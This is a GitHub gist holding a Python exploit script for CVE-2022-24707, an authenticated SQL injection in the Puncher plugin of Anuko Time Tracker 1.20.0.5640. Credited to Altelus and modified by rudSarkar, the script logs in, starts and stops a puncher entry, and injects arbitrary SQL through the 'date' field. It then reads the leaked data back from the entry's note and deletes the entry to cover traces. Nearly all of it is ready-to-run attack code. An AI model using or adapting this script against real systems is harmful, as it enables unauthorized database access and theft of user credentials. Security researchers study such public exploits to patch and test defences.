Skip to content

Instantly share code, notes, and snippets.

@rudSarkar
Created August 13, 2025 06:32
Show Gist options
  • Save rudSarkar/f437fbc8735b42bd8221713c04c03dc3 to your computer and use it in GitHub Desktop.
Save rudSarkar/f437fbc8735b42bd8221713c04c03dc3 to your computer and use it in GitHub Desktop.
# Exploit Title: Anuko Time Tracker - SQLi (Authenticated)
# Date: 2022-05-03
# Exploit Author: Altelus
# Vendor Homepage: https://www.anuko.com/
# Software Link: https://github.com/anuko/timetracker/tree/0924ef499c2b0833a20c2d180b04fa70c6484b6d
# Version: Anuko Time Tracker 1.20.0.5640
# Tested on: Linux
# CVE : CVE-2022-24707
# Reference: https://www.exploit-db.com/exploits/50915
# An authenticated user can exploit an SQL Injection vulnerability on the Puncher plugin if its enabled.
# User has to start the puncher and stop it but upon stopping an additional parameter 'date' must be passed.
# The 'date' parameter is then injected with SQL payload for leaking database contents.
# Modified due to it's lacking few problems - rudSarkar
from time import time
import requests
import argparse
import re
from bs4 import BeautifulSoup
from datetime import datetime, timedelta
def get_puncher_page():
punch_txt = r_client.get(host + "/puncher.php").text
if "Feature is disabled" in punch_txt:
print("[-] Puncher feature is disabled.")
exit(0)
print("[+] Puncher feature is enabled. Picking a project...")
soup = BeautifulSoup(punch_txt, features="lxml")
time_record_form = soup.find("select", {"name": "project", "id": "project"})
project_list = time_record_form.findAll("option")
if len(project_list) <= 1:
print("[-] No project to choose from")
exit(0)
f_proj = project_list[1]
print("[*] Picking the first project in the option: [{} - {}]".format(f_proj['value'], f_proj.text))
return f_proj['value']
def login(username, password):
global r_client
data = {
"login": username,
"password": password,
"btn_login": "Login",
}
login_txt = r_client.post(host + "/login.php", data=data).text
if "Incorrect" in login_txt:
print("[-] Failed to login. Credentials are not correct.")
exit(0)
print("[+] Login successful!")
def start_puncher(project_id):
global r_client
data = {
"project": project_id,
"btn_start": "Start",
"browser_today": "",
"browser_time": "04:00",
"date": "{}-{}-{}".format(date.year, date.month, date.day)
}
headers = {
"Referer": host + "/puncher.php"
}
start_p = r_client.post(host + "/puncher.php", data=data, headers=headers).text
if "Uncompleted entry already" in start_p:
print("[-] A running puncher entry is seen. Exiting")
exit(0)
print("[*] Puncher started. Getting id added...")
puncher_p = r_client.get(host + "/puncher.php?date={}-{}-{}".format(date.year, date.month, date.day)).text
time_edit_ids = re.findall("time_edit.php\?id=\d+", puncher_p)
time_edit_ids.sort()
latest_id = time_edit_ids[-1].split("=")[1]
return latest_id
def stop_puncher_sqli(project_id, sqli):
new_date = date + timedelta(minutes=10)
data = {
"btn_stop": "Stop",
"browser_today": "",
"browser_time": "04:10",
"date": "{}-{}-{}', comment=(({})), date='{}-{}-{}".format(date.year, date.month, date.day, sqli, date.year, date.month, date.day)
}
headers = {
"Referer": host + "/puncher.php"
}
fullurl = f"{host}/puncher.php"
print(f"[+] Full URL: {fullurl}")
print("[*] Post data")
for i, v in data.items():
print(f"{i}: {v}")
stop_p = r_client.post(host + "/puncher.php", data=data, headers=headers, allow_redirects=False).text
print("[*] Puncher stopped")
def get_puncher_result(puncher_id):
time_edit_p = r_client.get(host + "/time_edit.php?id={}".format(puncher_id)).text
soup = BeautifulSoup(time_edit_p, features="lxml")
note_content = soup.find("textarea", {"name": "note", "id": "note"})
print("[+] Leaked: {}".format(note_content.text if note_content else "No data found"))
def delete_puncher_entry(puncher_id):
data = {
"delete_button": "Delete",
"id": puncher_id
}
headers = {
"Referer": f"{host}/time_delete.php?id={puncher_id}"
}
del_p = r_client.post(host + "/time_delete.php?id={}".format(puncher_id), data=data, headers=headers)
print("[*] Puncher {} deleted".format(puncher_id))
parser = argparse.ArgumentParser()
parser.add_argument('--username', required=True, help="Anuko Timetracker username")
parser.add_argument('--password', required=True, help="Anuko Timetracker password")
parser.add_argument('--host', required=True, help="e.g. http://target.website.local, http://10.10.10.10, http://192.168.23.101:8000")
parser.add_argument('--sqli', required=False, help="SQL query to run. Defaults to getting user IDs and passwords")
args = parser.parse_args()
r_client = requests.Session()
host = args.host
date = datetime.now()
username = args.username
password = args.password
# Set the SQL query: use user-provided --sqli or default if None
if args.sqli is not None and args.sqli.strip() == "":
print("[-] Error: --sqli cannot be an empty string.")
exit(1)
sqli = args.sqli if args.sqli is not None else 'SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()'
login(username, password)
proj_id = get_puncher_page()
puncher_id = start_puncher(proj_id)
print("[*] Using SQL query: {}".format(sqli))
stop_puncher_sqli(proj_id, sqli=sqli)
get_puncher_result(puncher_id)
delete_puncher_entry(puncher_id)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment